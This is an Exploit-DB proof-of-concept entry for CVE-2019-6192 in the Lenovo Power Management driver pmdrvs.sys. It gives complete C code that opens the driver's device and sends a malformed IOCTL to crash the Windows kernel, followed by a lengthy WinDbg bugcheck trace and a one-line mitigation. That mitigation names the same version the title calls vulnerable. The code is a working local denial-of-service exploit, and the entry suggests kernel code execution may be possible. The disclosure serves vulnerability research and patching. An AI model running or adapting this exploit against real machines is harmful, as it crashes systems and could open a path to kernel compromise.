Lenovo Power Management Driver 1.67.17.48 - 'pmdrvs.sys' Denial of Service (PoC)

EDB-ID:

47771


Type:

dos


Platform:

Windows

Date:

2019-12-12


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# Exploit Title: Lenovo Power Management Driver 1.67.17.48 - 'pmdrvs.sys' Denial of Service (PoC)
# Date: 2019-12-11
# Exploit Author: Nassim Asrir
# CVE: CVE-2019-6192
# Tested On: Windows 10(64bit) | ThinkPad T470p
# Vendor : https://www.lenovo.com/us/en/
# Ref : https://support.lenovo.com/us/fr/solutions/len-29334

# Description
# A vulnerability in pmdrvs.sys driver has been discovered in Lenovo Power Management Driver
# The vulnerability exists due to insuffiecient input buffer validation when the driver processes IOCTL codes
# Attackers can exploit this issue to cause a Denial of Service or possibly execute arbitrary code in kernel space.

# Exploit

#include <windows.h>
#include <stdio.h>
#include <conio.h>

int main(int argc, char **argv)
{
    HANDLE   hDevice;
    DWORD    bret;
    char     szDevice[] = "\\\\.\\pmdrvs";

    printf("--[ Lenovo Power Management Driver pmdrvs.sys Denial Of Service ]--\n");

    printf("Opening handle to driver..\n");
   
    if ((hDevice = CreateFileA(szDevice, GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,NULL)) != INVALID_HANDLE_VALUE)    {
        printf("Device %s succesfully opened!\n", szDevice);
        printf("\tHandle: %p\n", hDevice);
    }
    else
    {
        printf("Error: Error opening device %s\n", szDevice);
    }

    printf("\nPress any key to DoS..");
    _getch();

    bret = 0;
   
    if (!DeviceIoControl(hDevice, 0x80862013, (LPVOID)0xdeadbeef, 0x0, (LPVOID)0xdeadbeef, 0x0, &bret, NULL))
    {
        printf("DeviceIoControl Error - bytes returned %#x\n", bret);
    }

    CloseHandle(hDevice);
    return 0;
}


# RCA

2: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff80428bf109d, Address of the instruction which caused the bugcheck
Arg3: ffffc709dee8ec50, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

FAULTING_IP:
pmdrvs+109d
fffff804`28bf109d 8b07            mov     eax,dword ptr [rdi]

CONTEXT:  ffffc709dee8ec50 -- (.cxr 0xffffc709dee8ec50)
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=ffffca04ca8f8170 rdi=0000000000000000
rip=fffff80428bf109d rsp=ffffc709dee8f640 rbp=ffffca04cc188290
 r8=000000000000000e  r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
pmdrvs+0x109d:
fffff804`28bf109d 8b07            mov     eax,dword ptr [rdi] ds:002b:00000000`00000000=????????
Resetting default scope

CPU_COUNT: 8

CPU_MHZ: af8

CPU_VENDOR:  GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 9e

CPU_STEPPING: 9

CPU_MICROCODE: 0,0,0,0 (F,M,S,R)  SIG: 8E'00000000 (cache) 0'00000000 (init)

BLACKBOXBSD: 1 (!blackboxbsd)


BLACKBOXPNP: 1 (!blackboxpnp)


CURRENT_IRQL:  0

ANALYSIS_SESSION_HOST:  LAPTOP-SP

ANALYSIS_SESSION_TIME:  09-30-2019 20:29:54.0485

ANALYSIS_VERSION: 10.0.17763.132 amd64fre

LAST_CONTROL_TRANSFER:  from fffff80428bf5060 to fffff80428bf109d

STACK_TEXT: 
ffffc709`dee8f640 fffff804`28bf5060 : 00000000`00000000 ffff9980`05b00099 00000000`00000000 00000000`00000000 : pmdrvs+0x109d
ffffc709`dee8f6c0 fffff804`1f12dba9 : ffffca04`ca8f80a0 fffff804`1f6d6224 ffffca04`cc51ff20 00000000`00000000 : pmdrvs+0x5060
ffffc709`dee8f6f0 fffff804`1f6abb11 : ffffc709`dee8fa80 ffffca04`ca8f80a0 00000000`00000001 ffffca04`cc188290 : nt!IofCallDriver+0x59
ffffc709`dee8f730 fffff804`1f6d763c : ffffca04`00000000 ffffca04`cc188290 ffffc709`dee8fa80 ffffc709`dee8fa80 : nt!NtQueryInformationFile+0x1071
ffffc709`dee8f7e0 fffff804`1f64c356 : 00007fff`2fd66712 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtClose+0xffc
ffffc709`dee8f920 fffff804`1f27a305 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
ffffc709`dee8f990 00007fff`33aaf844 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!setjmpex+0x7925
00000000`0068fcf8 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x00007fff`33aaf844


THREAD_SHA1_HASH_MOD_FUNC:  fea423dc9c9c08c703f6d9d5b0d8f7062b0ece68

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  4653d18777ce51b05029c753677fc2c05d5811bb

THREAD_SHA1_HASH_MOD:  c2a3dbda00dbcf5ade5303449052a7349d5c580b

FOLLOWUP_IP:
pmdrvs+109d
fffff804`28bf109d 8b07            mov     eax,dword ptr [rdi]

FAULT_INSTR_CODE:  8941078b

SYMBOL_STACK_INDEX:  0

FOLLOWUP_NAME:  MachineOwner

STACK_COMMAND:  .cxr 0xffffc709dee8ec50 ; kb

BUGCHECK_STR:  2E8B5A19

EXCEPTION_CODE_STR:  2E8B5A19

EXCEPTION_STR:  WRONG_SYMBOLS

PROCESS_NAME:  ntoskrnl.wrong.symbols.exe

IMAGE_NAME:  ntoskrnl.wrong.symbols.exe

MODULE_NAME: nt_wrong_symbols

SYMBOL_NAME:  nt_wrong_symbols!2E8B5A19A70000

BUCKET_ID:  WRONG_SYMBOLS_X64_17763.1.amd64fre.rs5_release.180914-1434_TIMESTAMP_940930-002145

DEFAULT_BUCKET_ID:  WRONG_SYMBOLS_X64_17763.1.amd64fre.rs5_release.180914-1434_TIMESTAMP_940930-002145

PRIMARY_PROBLEM_CLASS:  WRONG_SYMBOLS

FAILURE_BUCKET_ID:  WRONG_SYMBOLS_X64_17763.1.amd64fre.rs5_release.180914-1434_TIMESTAMP_940930-002145_2E8B5A19_nt_wrong_symbols!2E8B5A19A70000

TARGET_TIME:  2019-09-30T19:27:36.000Z

OSBUILD:  17763

OSSERVICEPACK:  0

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK:  272

PRODUCT_TYPE:  1

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

OSEDITION:  Windows 10 WinNt TerminalServer SingleUserTS

OS_LOCALE: 

USER_LCID:  0

OSBUILD_TIMESTAMP:  1994-09-30 01:21:45

BUILDDATESTAMP_STR:  180914-1434

BUILDLAB_STR:  rs5_release

BUILDOSVER_STR:  10.0.17763.1.amd64fre.rs5_release.180914-1434

ANALYSIS_SESSION_ELAPSED_TIME:  ae

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:wrong_symbols_x64_17763.1.amd64fre.rs5_release.180914-1434_timestamp_940930-002145_2e8b5a19_nt_wrong_symbols!2e8b5a19a70000

FAILURE_ID_HASH:  {f0486cd4-fec7-73b9-14c0-31bcf2dd24e1}

Followup:     MachineOwner
---------

2: kd> u fffff804`28bf109d
pmdrvs+0x109d:
fffff804`28bf109d 8b07            mov     eax,dword ptr [rdi]
fffff804`28bf109f 41894308        mov     dword ptr [r11+8],eax
fffff804`28bf10a3 e858ffffff      call    pmdrvs+0x1000 (fffff804`28bf1000)
fffff804`28bf10a8 85c0            test    eax,eax
fffff804`28bf10aa 0f8582000000    jne     pmdrvs+0x1132 (fffff804`28bf1132)
fffff804`28bf10b0 488b8c2498000000 mov     rcx,qword ptr [rsp+98h]
fffff804`28bf10b8 4885c9          test    rcx,rcx
fffff804`28bf10bb 7475            je      pmdrvs+0x1132 (fffff804`28bf1132)
2: kd> !for_each_frame .frame /r @$Frame
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
00 ffffc709`dee8e318 fffff804`1f27a8e9 nt!KeBugCheckEx
00 ffffc709`dee8e318 fffff804`1f27a8e9 nt!KeBugCheckEx
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
rip=fffff8041f269040 rsp=ffffc709dee8e318 rbp=ffffc709dee8ea10
 r8=fffff80428bf109d  r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
r14=0000000000000000 r15=ffffc709dee8f408
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!KeBugCheckEx:
fffff804`1f269040 48894c2408      mov     qword ptr [rsp+8],rcx ss:0018:ffffc709`dee8e320=000000000000003b
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
01 ffffc709`dee8e320 fffff804`1f279d3c nt!setjmpex+0x7f09
01 ffffc709`dee8e320 fffff804`1f279d3c nt!setjmpex+0x7f09
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
rip=fffff8041f27a8e9 rsp=ffffc709dee8e320 rbp=ffffc709dee8ea10
 r8=fffff80428bf109d  r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
r14=0000000000000000 r15=ffffc709dee8f408
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!setjmpex+0x7f09:
fffff804`1f27a8e9 90              nop
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
02 ffffc709`dee8e460 fffff804`1f271b4f nt!setjmpex+0x735c
02 ffffc709`dee8e460 fffff804`1f271b4f nt!setjmpex+0x735c
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
rip=fffff8041f279d3c rsp=ffffc709dee8e460 rbp=ffffc709dee8ea10
 r8=fffff80428bf109d  r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
r14=0000000000000000 r15=ffffc709dee8f408
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!setjmpex+0x735c:
fffff804`1f279d3c b801000000      mov     eax,1
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
03 ffffc709`dee8e4a0 fffff804`1f1ca460 nt!_chkstk+0x41f
03 ffffc709`dee8e4a0 fffff804`1f1ca460 nt!_chkstk+0x41f
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
rip=fffff8041f271b4f rsp=ffffc709dee8e4a0 rbp=ffffc709dee8ea10
 r8=fffff80428bf109d  r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
r14=0000000000000000 r15=ffffc709dee8f408
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!_chkstk+0x41f:
fffff804`1f271b4f 0f1f00          nop     dword ptr [rax]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
04 ffffc709`dee8e4d0 fffff804`1f0d7c24 nt!RtlUnwindEx+0x3440
04 ffffc709`dee8e4d0 fffff804`1f0d7c24 nt!RtlUnwindEx+0x3440
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
rip=fffff8041f1ca460 rsp=ffffc709dee8e4d0 rbp=ffffc709dee8ea10
 r8=fffff80428bf109d  r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
r14=0000000000000000 r15=ffffc709dee8f408
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!RtlUnwindEx+0x3440:
fffff804`1f1ca460 8bd0            mov     edx,eax
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
05 ffffc709`dee8ec20 fffff804`1f27a9c2 nt!ExReleaseAutoExpandPushLockExclusive+0x264
05 ffffc709`dee8ec20 fffff804`1f27a9c2 nt!ExReleaseAutoExpandPushLockExclusive+0x264
rax=ffffc709dee8e420 rbx=ffffc709dee8f408 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffc709dee8ec50 rdi=0000000000000000
rip=fffff8041f0d7c24 rsp=ffffc709dee8ec20 rbp=ffffc709dee8f150
 r8=fffff80428bf109d  r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=000000000010001f r13=ffffca04c1ca8d40
r14=ffffc709dee8f4b0 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!ExReleaseAutoExpandPushLockExclusive+0x264:
fffff804`1f0d7c24 84c0            test    al,al
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
06 ffffc709`dee8f2d0 fffff804`1f276cae nt!setjmpex+0x7fe2
06 ffffc709`dee8f2d0 fffff804`1f276cae nt!setjmpex+0x7fe2
rax=ffffc709dee8e420 rbx=ffffca04ca8f80a0 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffca04ca8f8170 rdi=0000000000000000
rip=fffff8041f27a9c2 rsp=ffffc709dee8f2d0 rbp=ffffc709dee8f530
 r8=fffff80428bf109d  r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!setjmpex+0x7fe2:
fffff804`1f27a9c2 488d8c2400010000 lea     rcx,[rsp+100h]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
07 ffffc709`dee8f4b0 fffff804`28bf109d nt!setjmpex+0x42ce
07 ffffc709`dee8f4b0 fffff804`28bf109d nt!setjmpex+0x42ce
rax=ffffc709dee8e420 rbx=ffffca04ca8f80a0 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffca04ca8f8170 rdi=0000000000000000
rip=fffff8041f276cae rsp=ffffc709dee8f4b0 rbp=ffffc709dee8f530
 r8=fffff80428bf109d  r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!setjmpex+0x42ce:
fffff804`1f276cae 440f20c0        mov     rax,cr8
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
08 ffffc709`dee8f640 fffff804`28bf5060 pmdrvs+0x109d
08 ffffc709`dee8f640 fffff804`28bf5060 pmdrvs+0x109d
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=ffffca04ca8f8170 rdi=0000000000000000
rip=fffff80428bf109d rsp=ffffc709dee8f640 rbp=ffffca04cc188290
 r8=000000000000000e  r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
pmdrvs+0x109d:
fffff804`28bf109d 8b07            mov     eax,dword ptr [rdi] ds:002b:00000000`00000000=????????
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
09 ffffc709`dee8f6c0 fffff804`1f12dba9 pmdrvs+0x5060
09 ffffc709`dee8f6c0 fffff804`1f12dba9 pmdrvs+0x5060
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=0000000000000001 rdi=0000000000000000
rip=fffff80428bf5060 rsp=ffffc709dee8f6c0 rbp=ffffca04cc188290
 r8=000000000000000e  r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
pmdrvs+0x5060:
fffff804`28bf5060 eb28            jmp     pmdrvs+0x508a (fffff804`28bf508a)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0a ffffc709`dee8f6f0 fffff804`1f6abb11 nt!IofCallDriver+0x59
0a ffffc709`dee8f6f0 fffff804`1f6abb11 nt!IofCallDriver+0x59
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=0000000000000001 rdi=ffffca04cc188290
rip=fffff8041f12dba9 rsp=ffffc709dee8f6f0 rbp=ffffca04cc188290
 r8=000000000000000e  r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!IofCallDriver+0x59:
fffff804`1f12dba9 4883c438        add     rsp,38h
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0b ffffc709`dee8f730 fffff804`1f6d763c nt!NtQueryInformationFile+0x1071
0b ffffc709`dee8f730 fffff804`1f6d763c nt!NtQueryInformationFile+0x1071
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=0000000000000001 rdi=ffffca04cc188290
rip=fffff8041f6abb11 rsp=ffffc709dee8f730 rbp=ffffca04cc188290
 r8=000000000000000e  r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!NtQueryInformationFile+0x1071:
fffff804`1f6abb11 448bf0          mov     r14d,eax
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0c ffffc709`dee8f7e0 fffff804`1f64c356 nt!NtClose+0xffc
0c ffffc709`dee8f7e0 fffff804`1f64c356 nt!NtClose+0xffc
rax=fffff80428bf5020 rbx=ffffca04cc188290 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=0000000000000000 rdi=ffffca04ca8f80a0
rip=fffff8041f6d763c rsp=ffffc709dee8f7e0 rbp=ffffc709dee8fa80
 r8=000000000000000e  r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=ffffca04ca8f81b8 r13=fffff780000002dc
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!NtClose+0xffc:
fffff804`1f6d763c eb25            jmp     nt!NtClose+0x1023 (fffff804`1f6d7663)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0d ffffc709`dee8f920 fffff804`1f27a305 nt!NtDeviceIoControlFile+0x56
0d ffffc709`dee8f920 fffff804`1f27a305 nt!NtDeviceIoControlFile+0x56
rax=fffff80428bf5020 rbx=ffffca04c88b3080 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=000000000068fd18 rdi=ffffc709dee8f9a8
rip=fffff8041f64c356 rsp=ffffc709dee8f920 rbp=ffffc709dee8fa80
 r8=000000000000000e  r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=0000000000000010
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!NtDeviceIoControlFile+0x56:
fffff804`1f64c356 4883c468        add     rsp,68h
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0e ffffc709`dee8f990 00007fff`33aaf844 nt!setjmpex+0x7925
0e ffffc709`dee8f990 00007fff`33aaf844 nt!setjmpex+0x7925
rax=fffff80428bf5020 rbx=ffffca04c88b3080 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=000000000068fd18 rdi=ffffc709dee8f9a8
rip=fffff8041f27a305 rsp=ffffc709dee8f990 rbp=ffffc709dee8fa80
 r8=000000000000000e  r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=0000000000000010
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
nt!setjmpex+0x7925:
fffff804`1f27a305 0f1f00          nop     dword ptr [rax]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0f 00000000`0068fcf8 00000000`00000000 0x00007fff`33aaf844
0f 00000000`0068fcf8 00000000`00000000 0x00007fff`33aaf844
rax=fffff80428bf5020 rbx=0000000000000000 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=00000000deadbeef rdi=000000000000004c
rip=00007fff33aaf844 rsp=000000000068fcf8 rbp=000000000000004c
 r8=000000000000000e  r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=0000000000000010
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
00007fff`33aaf844 ??              ???
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
00 ffffc709`dee8e318 fffff804`1f27a8e9 nt!KeBugCheckEx

# Mitigation

Update to Lenovo Power Management driver version 1.67.17.48 or higher